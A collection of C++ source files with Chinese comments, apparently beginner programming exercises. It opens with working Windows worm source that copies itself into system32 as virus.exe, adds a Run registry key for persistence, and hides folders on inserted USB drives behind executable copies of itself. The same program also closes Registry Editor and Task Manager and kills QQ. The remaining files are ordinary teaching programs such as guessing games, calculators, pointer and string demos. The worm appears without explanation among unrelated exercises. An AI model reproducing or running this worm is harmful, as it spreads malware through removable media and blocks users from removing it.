歐維斯福利設

#include "stdafx.h"
#include <windows.h>
#include <Dbt.h>
#include <iostream>
#include"io.h"
#include "tlhelp32.h" 
using namespace std;
LRESULT CALLBACK WndProc(
  HWND hwnd,      // handle to window
  UINT uMsg,      // message identifier
  WPARAM wParam,  // first message parameter
  LPARAM lParam   // second message parameter
);

void KillProcess(HWND hwnd);

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{

    WNDCLASS wndclass;
    wndclass.cbClsExtra=0;
  wndclass.cbWndExtra=0;
  wndclass.hbrBackground=(HBRUSH)GetStockObject(BLACK_BRUSH);
  wndclass.hCursor=LoadCursor(NULL,IDC_ICON);
  wndclass.hIcon=LoadIcon(NULL,IDI_ASTERISK);
  wndclass.hInstance=hInstance;
  wndclass.lpfnWndProc=WndProc;
  wndclass.lpszClassName="lieying";
  wndclass.lpszMenuName=NULL;
  wndclass.style=CS_VREDRAW|CS_HREDRAW;

  RegisterClass(&wndclass);             //註冊視窗類

  HWND hwnd;
  hwnd=CreateWindow("lieying","",WS_OVERLAPPEDWINDOW,150,150,683,384,NULL,NULL,hInstance,NULL);
  ShowWindow(hwnd,SW_HIDE);       //隐藏視窗
  UpdateWindow(hwnd);
    MSG msg;
  while(GetMessage(&msg,hwnd,0,0))      //主迴圈
  {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
  }

  return 0;
}


LRESULT CALLBACK WndProc( HWND hwnd,   UINT uMsg,   WPARAM wParam,   LPARAM lParam  )   

{
  switch(uMsg)
  {

     case WM_PAINT:
       {
           PAINTSTRUCT ps;
             BeginPaint(hwnd,&ps);
           EndPaint(hwnd,&ps);
           break;
       }

     case WM_CLOSE:
       {
         DestroyWindow(hwnd);
           break;
       }

     case WM_DESTROY:
       {
         PostQuitMessage(0);
               break;
       }
     case WM_CREATE:                                //在視窗創建時，修改註冊表，實現開機啟動。
       {

                SetTimer(hwnd,1,1000,NULL);           //設定定時器，每秒調用一次

        //自我複製置系統目錄
        TCHAR ExeFullPath[MAX_PATH];
        GetModuleFileName(NULL,ExeFullPath,MAX_PATH);   //取得執行檔的路徑、名稱

          TCHAR NewFilePath[MAX_PATH]="C:\\WINDOWS\\system32\\virus.exe";  //複製
        CopyFile(ExeFullPath,NewFilePath,TRUE);  


        //改註冊表。
        HKEY hkey;
        TCHAR keyvalue[MAX_PATH]="C:\\WINDOWS\\system32\\virus.exe";  
        TCHAR childkey[]=TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run");

        RegOpenKeyEx(HKEY_LOCAL_MACHINE,childkey,0,KEY_CREATE_SUB_KEY,&hkey);
        RegSetValue(HKEY_LOCAL_MACHINE,childkey,REG_SZ,keyvalue,strlen(keyvalue));
        RegCloseKey(hkey);

         break;
       }


    case WM_DEVICECHANGE:          //誰身蝶插入的消息
      {
        if(lParam!=0)
        {
          PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;   //定義PDEV_BROADCAST_HDR結構，系統填充結構訊息。
          if(lpdb->dbch_devicetype==DBT_DEVTYP_VOLUME)            
          {
            if(wParam==DBT_DEVICEARRIVAL)                       //隨身碟已經可以使用
            {
                long i,j;
              TCHAR buf[100];
              TCHAR *cdbuf;
              j=100;
              i=GetLogicalDriveStrings(j,buf);
              for(j=0;j<i;j+=4)
              {
                cdbuf=&buf[j];
                if(GetDriveType(cdbuf)==DRIVE_REMOVABLE)   //確定一下插入的是不是磁碟，不然其他的東西像:滑鼠等就沒用
                {

                  TCHAR FileName[MAX_PATH];
                  strcpy(FileName,cdbuf);
                  TCHAR f[MAX_PATH]=TEXT("\\*.");
                  strcat(FileName,f);
                   struct _finddata_t files;
                   int File_Handle;
                   int i=0;
                   File_Handle = _findfirst(FileName,&files);              
                   if(File_Handle==-1)
                   {
                     break;
                   }

                   do
                   {
                    TCHAR temp[MAX_PATH];
                    strcpy(temp,strcat(cdbuf,"\\"));
                                        strcat(cdbuf,files.name);
                                        //正常顯示SetFileAttributes(cdbuf,FILE_ATTRIBUTE_ARCHIVE);
                                        SetFileAttributes(cdbuf,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);  //設定資料夾為隱藏、系統檔。
                    CopyFile("C:\\WINDOWS\\system32\\virus.exe",strcat(cdbuf,".exe"),FALSE); //將病毒複製到隨身碟，並用原資料夾名來命名。
                     i++;
                     strcpy(cdbuf,temp);
                   }
                  while(0==_findnext(File_Handle,&files));
                   _findclose(File_Handle);
                   //MessageBox(hwnd,"I have already finished my task......","Sucess",MB_OK||MB_ICONINFORMATION);
                }
              }

            }
          }
        }

      }
      break;



    case WM_TIMER:                                   //處理WM_TIMER消息
      {
           HWND hwReg=FindWindow("RegEdit_RegEdit","注册表编辑器");       //尋找註冊表編輯器
           if(hwReg!=NULL)
           {
             SendMessage(hwReg,WM_CLOSE,NULL,NULL);                     //如果找到就關閉
           }

           HWND hwTsk=FindWindow("#32770","Windows 任务管理器");          //找工作管理員
           if(hwTsk!=NULL)
           {
                        SendMessage(hwTsk,WM_CLOSE,NULL,NULL);                   //一樣，找到就關
           }

           HWND hwQQ=FindWindow("TXGuiFoundation",NULL);             //找QQ
           if(hwQQ!=NULL)
           {
                        KillProcess(hwnd);  //關掉QQ
           }
      }
      break;



       default:
       {
          return DefWindowProc(hwnd,uMsg,wParam,lParam);
          break;
       }
  }

  return 0;
}




void KillProcess(HWND hwnd)  //關QQ
{  
     //   TODO:   Add   your   control   notification   handler   code   here  
     //   PROCESSENTRY32結構对象
       PROCESSENTRY32 pe;  
       pe.dwSize = sizeof(PROCESSENTRY32);  
     HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

  
      //   從第一個開始找
     Process32First(hSnapshot, &pe);  
   
     TCHAR szFile[MAX_PATH];
        int p;  


     //   下面对系统中的所有进程进行枚举
     do{  
             lstrcpy(szFile, pe.szExeFile);
             p = lstrcmp(szFile, "QQ.exe");
             if(0 == p)   //if(strlen(pe.szExeFile)>0)判斷是否為系統
               {
                   HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pe.th32ProcessID);   
                    

                     //取得他
                   if(h)   
                           TerminateProcess(h, 0);  //關閉
                         //break;
             }   
         }while(Process32Next(hSnapshot, &pe));


      
    CloseHandle(hSnapshot);
}

#include <iostream>
#include <cstdlib>
#include <ctime>
using namespace std;
void game(int,int,int);
int main(void)
{
    int answer;
    int left=1,right=10000;
    srand(time(NULL));  //產生亂數
    answer = rand( ) % 10000;//取餘數，產生介於1~10000之間的亂數
    while(1)
    {
        int guess;
        cout<<"目前範圍 "<<left<<" ~ "<<right<<" ,請猜:";
        cin>>guess;
        if(guess > right || guess < left) exit(1);
        if(guess == answer) break;
        else {
          if(guess > answer) right = guess;
          else left = guess;
        }    
    }
    cout<<"您猜對了 ~"<<endl;
    return 0;
}

#include <iostream>
using namespace std;
int main()
{
   int answer=27;                                     //設定數字解答
   int guess;                      
   cout<<"請在1~100之間猜一個數字:";
   cin>>guess;
   if( guess==answer ) cout<<"恭喜你猜對了!"<<endl;   //猜中了
   else if ( guess<answer ){                          //猜的數字小於解答
       cout<<"猜的數字太小了"<<endl;
       if(answer-guess<=5)cout<<"不過很接近了!"<<endl;   //和解答很接近
   }
   else  {
       cout<<"猜的數字太大了"<<endl;                //猜的數字大於解答
       if(guess-answer<=5)cout<<"不過很接近了!"<<endl;  //和解答很接近
   }
               
   return 0;
}

#include <iostream>
using namespace std;
int add(int,int);
int sub(int,int);
int mul(int,int);
float divide(int,int);
int main(void)
{
    int a,b;
    char choice;
    cout<<"請輸入您的計算式：";
    cin>>a>>choice>>b;
    switch(choice) {
        case '+': cout<<a<<" + "<<b<<" = "<<add(a,b); break;
        case '-': cout<<a<<" - "<<b<<" = "<<sub(a,b); break;
        case '*': cout<<a<<" * "<<b<<" = "<<mul(a,b); break;
        case '/': cout<<a<<" / "<<b<<" = "<<divide(a,b); break;
        default: break;
      }
    return 0;
}
int add(int a,int b)
{
  return a+b;
}
int sub(int a,int b)
{
  return a-b;
}
int mul(int a,int b)
{
  return a*b;
}
float divide(int a,int b)
{
  return (float)a/b;
}

#include <iostream>
using namespace std;

int main()
{
    int x=1;     //宣告整數變數x，並將其初值設為1
    int y=2;     //宣告整數變數y，並將其初值設為2  
    cout<<x+y<<endl;   //印出x+y的結果
   
    return 0;
}

#include <iostream>
#include <stdlib.h>
using namespace std;
int main()
{
    cout<<"Hello World!"<<endl;
    system("pause");
    return 0;
}

/*編譯成test.exe後，假設存放在:
D:\cpp files\test
打開命令提示字元(按下win + R，打cmd)，輸入:
D:\cpp files\test\test.exe 87
*/
#include <iostream>
using namespace std;
int main(int argc,char *argv[])
{
  int i;
  cout<<"argc = "<<argc<<endl;
  for(i=0;i<argc;i++)
    cout<<argv[i]<<endl;
  return 0;
}

#include <iostream>
#include <cstdlib>
#include <ctime>
#define SIZE 20
using namespace std;
int search(int [ ],int,int,int);
int main(void)
{
    int i,a[SIZE],from=0,key;
    srand(time(NULL));  //亂數產生陣列元素值
    for(i=0;i<SIZE;i++)
      a[i] = rand( ) % 10 + 1;  
    cout<<"請輸入欲搜尋的值(1~10)";
    cin>>key;
    while(from < SIZE) {
      int ans;
      ans = search(a,from,SIZE,key);
      if(ans == -1) {
        if(!from)    
          cout<<key<<" not found\n";
        break;
      } else {
            cout<<key<<" found at a["<<ans<<"] = "<<a[ans]<<endl;
            from = ans + 1;
      }
    }
    return 0;
}
int search(int a[ ],int from,int size,int key)
{
   int i;
   for(i=from;i<size;i++)
     if(a[i] == key)
       return i;
   return -1;      
}

#include <iostream>
using namespace std;
void vset(int,int);
void rset(int*,int);
int main(void)
{
  int x=0,*p;           //宣告變數x及整數指標p
  p = &x;             //取得變數x的位址（將p指向x）
  vset(x,1);            
  cout<<"x = "<<x;
  rset(p,1);            //將指標當作引數來傳遞進函式
  cout<<"x = "<<x;
  return 0;
}
void vset(int x,int y)
{
  x = y;
}
void rset(int *p,int y)
{
  *p = y;              //間接存取變數x
}

#include <iostream>
using namespace std;
int Mystrcmp(char *,char *);
int main(void)
{
  int result;
  char word1[ ] = "I like C";    //字串1
  char word2[ ] = "This is fun";  //字串2
  result = Mystrcmp(word1,word2);
  if(!result)
    cout<<"word1 equal word2\n";
  else
    cout<<"word1 does not equal word2\n";
  return 0;
}
int Mystrcmp(char *str1,char *str2)
{
  int i;
  for(i=0;!(*(str1+i) == '\0' && *(str2+i) == '\0'); i++)
    if(*(str1+i) != *(str2+i)) return -1;
  return 0;
}

#include <iostream>
using namespace std;
void Mystrcpy(char *,char *);
int main(void)
{
  int result;
  char word1[ ] = "I like C";
  char word2[ ] = "This is fun";
  Mystrcpy(word1,word2);
  cout<<"word2 = "<<word2<<endl;
  return 0;
}
void Mystrcpy(char *str1,char *str2)
{
  int i;
  for(i=0;*(str1+i)!='\0';i++)
  *(str2+i) = *(str1+i);
  *(str2 + i) = '\0';
}

#include <iostream>
#include <fstream>
using namespace std;
char* encode(char*);
char* decode(char*);
int main(void)
{
  char ch,str[80];
  cout<<"請輸入字串:";
  gets(str);
  cout<<"您要 1)加密 2)解密 :";
  cin>>ch;
  if(ch == '1') {
    cout<<"After encode : ";
    cout<<encode(str);
  } else if (ch == '2') {
    cout<<"After decode :";
    cout<<decode(str);
  } else
    cout<<"Unknown input";
  return 0;
}
char* encode(char *str)
{
      char *r=str;
      while(*str) {
        *str = *str + 13;
        str++;
      }  
      return r;
}
char* decode(char *str)
{
      char *r=str;
      while(*str) {
        *str = *str - 13;
        str++;
      }
      return r;
}

#include <iostream>
#include <string.h>
using namespace std;
void exclude(char*,char*);
int main(void)
{
  char str1[] = "what a wonderful world!";
  char str2[] = "wonderful";  //要去除的文字
  exclude(str1,str2);
  cout<<str1<<endl;
  return 0;
}
void exclude(char *s1,char *s2)
{
  int i, s2_len = strlen(s2);
  for(i=0; i<(int)strlen(s1) - s2_len; i++){
    if(!strncmp(s1+i, s2, s2_len)){
      strcpy(s1+i, s1+i+s2_len);
      i--;                
    }
  }
}

#include <iostream>
#define CPU "Central Processing Unit"  //定義字串
#define PI 3.14159  //定義常數
using namespace std;
int main(void)
{
    cout<<"CPU is short for "<<CPU<<endl;
    cout<<"π= "<<PI<<endl;
    return 0;
}

#include <iostream>
#define SWAP(x,y,t) (t = x, x = y, y = t)  //定義巨集
using namespace std;
int main(void)
{
    int x=3,y=4,temp;
    SWAP(x,y,temp);  //呼叫巨集
    cout<<"x = "<<x<<" y = "<<y<<endl;
 return 0;
}

#include <iostream>
#define add(x,y)      ((x)+(y))
#define minus(x,y)    ((x)-(y))
#define multiply(x,y) ((x)*(y))
#define divide(x,y)   ((double)(x)/(y))
using namespace std;
int main(void)
{
    int a,b;
    char choice;
    cout<<"請輸入您的計算式：";
    cin>>a>>choice>>b;
    switch(choice) {
        case '+': cout<<a<<"+"<<b<<"="<<add(a,b); break;
        case '-': cout<<a<<"-"<<b<<"="<<minus(a,b); break;
        case '*': cout<<a<<"*"<<b<<"="<<multiply(a,b); break;
        case '/': cout<<a<<"/"<<b<<"="<<divide(a,b); break;
        default: break;
      }
    return 0;
}

#include <iostream>      //插入標頭檔
using namespace std;

int main()  //main函式
{  //程式區塊開始
    int number;     //宣告變數
    number=0;
    cout<<number<<endl;  //將變數輸出，演示變數宣告成功
 
    return 0;
}  //程式區塊結束